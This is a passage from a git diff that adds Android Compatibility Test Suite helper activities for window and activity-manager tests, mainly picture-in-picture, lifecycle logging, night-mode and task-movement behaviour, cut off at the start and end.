+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class LaunchIntoPinnedStackPipActivity extends Activity {
+    @Override
+    protected void onResume() {
+        super.onResume();
+        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
new file mode 100644
index 0000000..1b9b729
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class LaunchPipOnPipActivity extends Activity {
+    @Override
+    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
+        super.onPictureInPictureModeChanged(isInPictureInPictureMode);
+        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java
new file mode 100644
index 0000000..b312c97
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.server.cts.tools.ActivityLauncher;
+
+/**
+ * Activity that launches another activities when new intent is received.
+ */
+public class LaunchingActivity extends Activity {
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        ActivityLauncher.launchActivityFromExtras(this, intent.getExtras());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java
new file mode 100644
index 0000000..66e0cf2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.view.View;
+
+public class LifecycleLogView extends View {
+    private final String TAG = "LifecycleLogView";
+
+    public LifecycleLogView(Context context) {
+        super(context);
+    }
+
+    public LifecycleLogView(Context context, AttributeSet attrs) {
+        this(context, attrs, 0);
+    }
+
+    public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr) {
+        this(context, attrs, defStyleAttr, 0);
+    }
+
+    public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes)
+    {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    @Override
+    protected void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        Log.i(TAG, "onConfigurationChanged");
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java
new file mode 100644
index 0000000..61eb78c
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+import android.util.Log;
+
+/**
+ * Activity that logs configuration changes.
+ */
+public class LogConfigurationActivity extends Activity {
+
+    private static final String TAG = "LogConfigurationActivity";
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        Log.i(TAG, "Configuration changed: " + newConfig.screenWidthDp + ","
+                + newConfig.screenHeightDp);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java
new file mode 100644
index 0000000..6c47fb7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity that finishes itself using "moveTaskToBack".
+ */
+public class MoveTaskToBackActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = MoveTaskToBackActivity.class.getSimpleName();
+
+    private String mFinishPoint;
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        final Intent intent = getIntent();
+        mFinishPoint = intent.getExtras().getString("finish_point");
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        if (mFinishPoint.equals("on_pause")) {
+            moveTaskToBack(true /* nonRoot */);
+        }
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        if (mFinishPoint.equals("on_stop")) {
+            moveTaskToBack(true /* nonRoot */);
+        }
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java
new file mode 100644
index 0000000..e33141b
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.UiModeManager;
+import android.content.Context;
+import android.os.Bundle;
+
+/** Activity that changes UI mode on creation and handles corresponding configuration change. */
+public class NightModeActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = NightModeActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        UiModeManager uiManager = (UiModeManager) getSystemService(Context.UI_MODE_SERVICE);
+        // Switch the mode two times to make sure it is independent of the current setting.
+        uiManager.setNightMode(UiModeManager.MODE_NIGHT_YES);
+        uiManager.setNightMode(UiModeManager.MODE_NIGHT_NO);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java
new file mode 100644
index 0000000..6a84602
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+/**
+ * An activity that has the noHistory flag set.
+ */
+public class NoHistoryActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = NoHistoryActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java
new file mode 100644
index 0000000..9cc3b9d
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+public class NoRelaunchActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = NoRelaunchActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java
new file mode 100644
index 0000000..b871a8d
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+public class NonResizeableActivity extends AbstractLifecycleLogActivity {
+
+     private static final String TAG = NonResizeableActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java
new file mode 100644
index 0000000..f968970
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java
@@ -0,0 +1,338 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.PictureInPictureParams;
+import android.content.res.Configuration;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.util.Log;
+import android.util.Rational;
+import android.view.WindowManager;
+
+public class PipActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = "PipActivity";
+
+    // Intent action that this activity dynamically registers to enter picture-in-picture
+    private static final String ACTION_ENTER_PIP = "android.server.cts.PipActivity.enter_pip";
+    // Intent action that this activity dynamically registers to move itself to the back
+    private static final String ACTION_MOVE_TO_BACK = "android.server.cts.PipActivity.move_to_back";
+    // Intent action that this activity dynamically registers to expand itself.
+    // If EXTRA_SET_ASPECT_RATIO_WITH_DELAY is set, it will also attempt to apply the aspect ratio
+    // after a short delay.
+    private static final String ACTION_EXPAND_PIP = "android.server.cts.PipActivity.expand_pip";
+    // Intent action that this activity dynamically registers to set requested orientation.
+    // Will apply the oriention to the value set in the EXTRA_FIXED_ORIENTATION extra.
+    private static final String ACTION_SET_REQUESTED_ORIENTATION =
+            "android.server.cts.PipActivity.set_requested_orientation";
+    // Intent action that will finish this activity
+    private static final String ACTION_FINISH = "android.server.cts.PipActivity.finish";
+
+    // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
+    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+    // Calls enterPictureInPicture() on creation
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
+    // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
+    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
+            "enter_pip_aspect_ratio_numerator";
+    // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
+    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
+            "enter_pip_aspect_ratio_denominator";
+    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
+    private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
+    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
+    private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
+    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
+    // fixed delay
+    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
+            "set_aspect_ratio_with_delay_numerator";
+    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
+    // fixed delay
+    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
+            "set_aspect_ratio_with_delay_denominator";
+    // Adds a click listener to finish this activity when it is clicked
+    private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
+    // Calls requestAutoEnterPictureInPicture() with the value provided
+    private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
+    // Starts the activity (component name) provided by the value at the end of onCreate
+    private static final String EXTRA_START_ACTIVITY = "start_activity";
+    // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
+    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+    // Calls enterPictureInPicture() again after onPictureInPictureModeChanged(false) is called
+    private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
+    // Shows this activity over the keyguard
+    private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
+    // Adds an assertion that we do not ever get onStop() before we enter picture in picture
+    private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
+    // The amount to delay to artificially introduce in onPause() (before EXTRA_ENTER_PIP_ON_PAUSE
+    // is processed)
+    private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
+
+    private boolean mEnteredPictureInPicture;
+
+    private Handler mHandler = new Handler();
+    private BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent != null) {
+                switch (intent.getAction()) {
+                    case ACTION_ENTER_PIP:
+                        enterPictureInPictureMode();
+                        break;
+                    case ACTION_MOVE_TO_BACK:
+                        moveTaskToBack(false /* nonRoot */);
+                        break;
+                    case ACTION_EXPAND_PIP:
+                        // Trigger the activity to expand
+                        Intent startIntent = new Intent(PipActivity.this, PipActivity.class);
+                        startIntent.setFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+                        startActivity(startIntent);
+
+                        if (intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR)
+                                && intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR)) {
+                            // Ugly, but required to wait for the startActivity to actually start
+                            // the activity...
+                            mHandler.postDelayed(() -> {
+                                final PictureInPictureParams.Builder builder =
+                                        new PictureInPictureParams.Builder();
+                                builder.setAspectRatio(getAspectRatio(intent,
+                                        EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR,
+                                        EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR));
+                                setPictureInPictureParams(builder.build());
+                            }, 100);
+                        }
+                        break;
+                    case ACTION_SET_REQUESTED_ORIENTATION:
+                        setRequestedOrientation(Integer.parseInt(intent.getStringExtra(
+                                EXTRA_FIXED_ORIENTATION)));
+                        break;
+                    case ACTION_FINISH:
+                        finish();
+                        break;
+                }
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Set the fixed orientation if requested
+        if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
+            final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
+            setRequestedOrientation(ori);
+        }
+
+        // Set the window flag to show over the keyguard
+        if (getIntent().hasExtra(EXTRA_SHOW_OVER_KEYGUARD)) {
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        }
+
+        // Enter picture in picture with the given aspect ratio if provided
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+            if (getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR)
+                    && getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR)) {
+                try {
+                    final PictureInPictureParams.Builder builder =
+                            new PictureInPictureParams.Builder();
+                    builder.setAspectRatio(getAspectRatio(getIntent(),
+                            EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
+                            EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR));
+                    enterPictureInPictureMode(builder.build());
+                } catch (Exception e) {
+                    // This call can fail intentionally if the aspect ratio is too extreme
+                }
+            } else {
+                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+            }
+        }
+
+        // We need to wait for either enterPictureInPicture() or requestAutoEnterPictureInPicture()
+        // to be called before setting the aspect ratio
+        if (getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_NUMERATOR)
+                && getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_DENOMINATOR)) {
+            final PictureInPictureParams.Builder builder =
+                    new PictureInPictureParams.Builder();
+            builder.setAspectRatio(getAspectRatio(getIntent(),
+                    EXTRA_SET_ASPECT_RATIO_NUMERATOR, EXTRA_SET_ASPECT_RATIO_DENOMINATOR));
+            try {
+                setPictureInPictureParams(builder.build());
+            } catch (Exception e) {
+                // This call can fail intentionally if the aspect ratio is too extreme
+            }
+        }
+
+        // Enable tap to finish if necessary
+        if (getIntent().hasExtra(EXTRA_TAP_TO_FINISH)) {
+            setContentView(R.layout.tap_to_finish_pip_layout);
+            findViewById(R.id.content).setOnClickListener(v -> {
+                finish();
+            });
+        }
+
+        // Launch a new activity if requested
+        String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
+        if (launchActivityComponent != null) {
+            Intent launchIntent = new Intent();
+            launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
+            startActivity(launchIntent);
+        }
+
+        // Register the broadcast receiver
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_ENTER_PIP);
+        filter.addAction(ACTION_MOVE_TO_BACK);
+        filter.addAction(ACTION_EXPAND_PIP);
+        filter.addAction(ACTION_SET_REQUESTED_ORIENTATION);
+        filter.addAction(ACTION_FINISH);
+        registerReceiver(mReceiver, filter);
+
+        // Dump applied display metrics.
+        Configuration config = getResources().getConfiguration();
+        dumpDisplaySize(config);
+        dumpConfiguration(config);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        // Finish self if requested
+        if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
+            finish();
+        }
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        // Pause if requested
+        if (getIntent().hasExtra(EXTRA_ON_PAUSE_DELAY)) {
+            SystemClock.sleep(Long.valueOf(getIntent().getStringExtra(EXTRA_ON_PAUSE_DELAY)));
+        }
+
+        // Enter PIP on move to background
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_PAUSE)) {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        }
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        if (getIntent().hasExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP) && !mEnteredPictureInPicture) {
+            Log.w(TAG, "Unexpected onStop() called before entering picture-in-picture");
+            finish();
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        unregisterReceiver(mReceiver);
+    }
+
+    @Override
+    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
+        super.onPictureInPictureModeChanged(isInPictureInPictureMode);
+
+        // Fail early if the activity state does not match the dispatched state
+        if (isInPictureInPictureMode() != isInPictureInPictureMode) {
+            Log.w(TAG, "Received onPictureInPictureModeChanged mode=" + isInPictureInPictureMode
+                    + " activityState=" + isInPictureInPictureMode());
+            finish();
+        }
+
+        // Mark that we've entered picture-in-picture so that we can stop checking for
+        // EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP
+        if (isInPictureInPictureMode) {
+            mEnteredPictureInPicture = true;
+        }
+
+        if (!isInPictureInPictureMode && getIntent().hasExtra(EXTRA_REENTER_PIP_ON_EXIT)) {
+            // This call to re-enter PIP can happen too quickly (host side tests can have difficulty
+            // checking that the stacks ever changed). Therefor, we need to delay here slightly to
+            // allow the tests to verify that the stacks have changed before re-entering.
+            mHandler.postDelayed(() -> {
+                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+            }, 1000);
+        }
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        dumpDisplaySize(newConfig);
+        dumpConfiguration(newConfig);
+    }
+
+    /**
+     * Launches a new instance of the PipActivity directly into the pinned stack.
+     */
+    static void launchActivityIntoPinnedStack(Activity caller, Rect bounds) {
+        final Intent intent = new Intent(caller, PipActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchBounds(bounds);
+        options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
+        caller.startActivity(intent, options.toBundle());
+    }
+
+    /**
+     * Launches a new instance of the PipActivity in the same task that will automatically enter
+     * PiP.
+     */
+    static void launchEnterPipActivity(Activity caller) {
+        final Intent intent = new Intent(caller, PipActivity.class);
+        intent.putExtra(EXTRA_ENTER_PIP, "true");
+        intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+        caller.startActivity(intent);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    /**
+     * @return a {@link Rational} aspect ratio from the given intent and extras.
+     */
+    private Rational getAspectRatio(Intent intent, String extraNum, String extraDenom) {
+        return new Rational(
+                Integer.valueOf(intent.getStringExtra(extraNum)),
+                Integer.valueOf(intent.getStringExtra(extraDenom)));
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java
new file mode 100644
index 0000000..53b4f75
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+/**
+ * A secondary activity that has the same behavior as {@link PipActivity}.
+ */
+public class PipActivity2 extends PipActivity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java
new file mode 100644
index 0000000..e97dc0e
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.app.PictureInPictureParams;
+
+/**
+ * An activity that can enter PiP with a fixed affinity to match
+ * {@link TestActivityWithSameAffinity}.
+ */
+public class PipActivityWithSameAffinity extends Activity {
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java
new file mode 100644
index 0000000..1abc696
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
